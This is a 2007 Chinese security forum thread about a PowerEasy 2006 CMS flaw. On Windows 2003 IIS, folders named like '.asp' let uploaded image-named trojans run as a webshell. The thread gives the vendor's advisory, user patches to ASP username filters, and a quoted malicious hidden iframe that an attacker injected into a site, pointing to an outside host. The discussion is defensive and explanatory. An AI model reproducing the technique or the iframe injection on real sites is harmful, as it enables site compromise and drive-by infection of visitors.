[原创]动易2006最新漏洞补丁
文章作者:光芒果信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
动易官方公告
动易2006最新漏洞公告(2007-2-15)
漏洞编号:PEAS20070215
危害程度:极严重。黑客可以通过此漏洞取得WebShell权限。
影响版本:动易2006 所有版本(包括免费版、商业SQL版及Access版),正式版、SP1、SP2、SP3、SP4、SP5都受此影响。
漏洞描述:因为Win2003存在着一个文件解析路径的漏洞,当文件夹名为类似hack.asp的时候(即文件夹名看起来像一个ASP文件的文件名),此时此文件夹下的文本类型的文件都可以在IIS中被当做ASP程序来执行。这样黑客即可上传扩展名为jpg或gif之类的看起来像是图片文件的木马文件,通过访问这个文件即可运行木马。因为微软尚未发布这个漏洞的补丁,所以几乎所有网站都会存在这个漏洞。关于此漏洞的文章,大家可以查看这里:http://www.gimoo.net/technology/ld/200409/164629.shtml
动易2006中的部分功能因为设计时没有考虑到这种攻击方式,致使黑客可以绕过上传文件时的扩展名检查,上传正常扩展名的木马文件,以得到WebShell权限。具有高级权限的后台管理员也可以利用此漏洞得到WebShell权限。
郑重声明:在了解了此漏洞后,请勿攻击他人!否则你将可能会受到法律的惩罚!
临时解决方法:删除Space文件夹(临时),删除User/User_Space.asp文件。
补丁文件:暂无
友情提示:请站长检查除动易系统外的全部系统,凡有用户可自主命名文件夹权限的功能,在微软公司的补丁出现之前,建议全部关闭,以免造成更大的损失。
小经验:
扩展名为jpg/gif的木马检查方法:
在资源管理器中使用详细资料方式,按类别查看。点“查看”菜单--“选择详细信息”--勾选上“尺寸”,确定。此时,正常的图片文件会显示出图片的尺寸大小,没有没有显示,则99%可以肯定是木马文件。用记事本程序打开即可100%确定.P>
其实这是2003系统流传已久的小特点,不明白官方为什么大惊小怪地要删除相关文件......连华夏的怪狗也是改UPLOAD文件名的......过滤用户名注册中的“.”就OK了。
于是我下了个动易2005SP5找到REG目录中的User_RegCheck.asp,发现最后面就有一个函数
'**************************************************
'函数名:UserNamefilter(
'作 用:过滤用户名(增强过滤,用户名现用于建立个人文集目录)
'**************************************************
Function UserNamefilter(strChar)
If strChar = "" Or IsNull(strChar) Then
UserNamefilter = ""
Exit Function
End If
Dim strBadChar, arrBadChar, tempChar, i
strBadChar = "',%,^,&,?,(,),<,>,[,],{,},/,\,;,:," & Chr(34) & "," & Chr(0) & ",*,|,"""
arrBadChar = Split(strBadChar, ",")
tempChar = strChar
For i = 0 To UBound(arrBadChar)
tempChar = Replace(tempChar, arrBadChar(i), "")
Next
UserNamefilter = tempChar
End Function
%>
直接往 strBadChar 里加上过滤“.”,然后测试,居然还能注册*.asp的文件,晕S。再看到User_CheckReg.asp,真不明白要两个来干什么用,改之
Sub User_CheckReg()
Dim RegUserName
RegUserName = Trim(request("UserName"))
If InStr(RegUserName, "=") > 0 Or InStr(RegUserName, "%") > 0 Or InStr(RegUserName, Chr(32)) > 0 Or InStr(RegUserName, "?") > 0 Or InStr(RegUserName, "&") > 0 Or InStr(RegUserName, ";") > 0 Or InStr(RegUserName, ",") > 0 Or InStr(RegUserName, "'") > 0 Or InStr(RegUserName, ",") > 0 Or InStr(RegUserName, Chr(34)) > 0 Or InStr(RegUserName, Chr(9)) > 0 Or InStr(RegUserName, "") > 0 Or InStr(RegUserName, "$") > 0 Or InStr(RegUserName, "*") Or InStr(RegUserName, "|") Or InStr(RegUserName, """") > 0 Or InStr(RegUserName, "^") > 0 Or InStr(RegUserName, "--") > 0 Or InStr(RegUserName, ".") > 0 Or InStr(RegUserName, "+") > 0 Then
FoundErr = True
ErrMsg = ErrMsg & "<br><li>用户名中含有非法字符</li>"
加上Or InStr(RegUserName, ".") > 0
测试居然还没能注册*.asp,倒塌......
仔细看下REG里的所有文件,发现User_RegPost.asp
看下这里
<!--#include file="../conn.asp"-->
<!--#include file="../inc/md5.asp"-->
<!--#include file="../inc/function.asp"-->
<!--#include file="../API/API_Config.asp"-->
<!--#include file="../API/API_Function.asp"-->
刚才那两个CHECK简直就是废的,根本用不上......
再找到
If CheckUserBadChar(UserName) = False Then
ErrMsg = ErrMsg & "<li>用户名中含有非法字符</li>"
FoundErr = True
End If
看来与CheckUserBadChar这个函数有关
搜索之,发现接近末尾的地方
Function CheckUserBadChar(strChar)
Dim strBadChar, arrBadChar, i
strBadChar = "',%,.,^,&,?,(,),<,>,[,],{,},/,\,;,:," & Chr(34) & ",*,|,"""
arrBadChar = Split(strBadChar, ",")
If strChar = "" Then
CheckUserBadChar = False
往strBadChar 加上“.”号的过滤,测试,OK,提示用户名非法。
真搞不明白动易那帮人怎么想的,一个那么简单的问题搞到那么复杂,连帮忙改的人都给搞复杂来,MMD
PS,我原来还试过把INC里的function.asp里定义SQL注射的地方把.a和.e设置成过滤字符,防止别人注册,但似乎没用,不知道为什么.....没仔细研究了,动易那么变态,什么都爱复杂化的,更懒得研究了......
补丁只测试过2006SP5有效,其他版本貌似那两个CHECK有的有用的,懒得弄了。 光芒果跟我想的是一样的....其实过滤USERNAME里面的 . 就可以了....
可是动易傻傻地在User_RegPost.asp中加入以下语句:
If LCase(UserName, 4)) = ".asp" or LCase(Right(UserName, 4)) = ".asa" or LCase(Right(UserName, 4)) = ".cer" or LCase(Right(UserName, 4)) = ".cdx" Then........
只是过滤了asp.asa.cer.cdx四种,当注册用户名为cncxz.htm/cncxz.html等用户名时,User_RegPost.asp中就会发生错误....不知为何呢..继续研究中... 相信还会相继爆发不少cms系统这个特性的利用漏洞!!~我现在也发现了个!~ [s:37] !` 为哈我以前没想到纳闷!~
顺带问问为哈有人发广告也没人管`? 今天有个家伙来我的网站上注册了个 1.ASP的用户名, 知道是在利用这个漏洞,不知道他利用成功了没
有没有人说说成功了会是什么样的 日哦, 发现 后台页面被加入了
<iframe src=http://kittt.free.psnic.cn/index.htm widht=0 height=0></iframe>
我关闭任何上传的,不知道这个家伙怎么修改后台文件的 拿到0day的第一件事,貌似是2Y13号~~
[img]http://www.flowaway.com/blog/attachments/month_0702/w2007221192142.JPG[/img]
这个漏洞影响范围应该非常广,不止对于动易,别的CMS如果也有类似的特性的话也会牵连 只能说无语。
可以这么说,老树开新花:) [quote]引用第3楼风之树叶于2007-02-25 11:37发表的 :
今天有个家伙来我的网站上注册了个 1.ASP的用户名, 知道是在利用这个漏洞,不知道他利用成功了没
有没有人说说成功了会是什么样的[/quote]
我的站也被注册了好几个是.ASP的。 等着他们的 2007 出来搞0day 。嘿嘿。 [quote]引用第4楼风之树叶于2007-02-25 11:45发表的 :
日哦, 发现 后台页面被加入了
<iframe src=http://kittt.free.psnic.cn/index.htm widht=0 height=0></iframe>
我关闭任何上传的,不知道这个家伙怎么修改后台文件的[/quote]
2003系统的漏洞。。 微软没发补丁。。。 所以它可以拿到webshell
你关上传也没用了。 很好`~我下了` 谢谢分享 [s:264] [s:264]
页:
[1]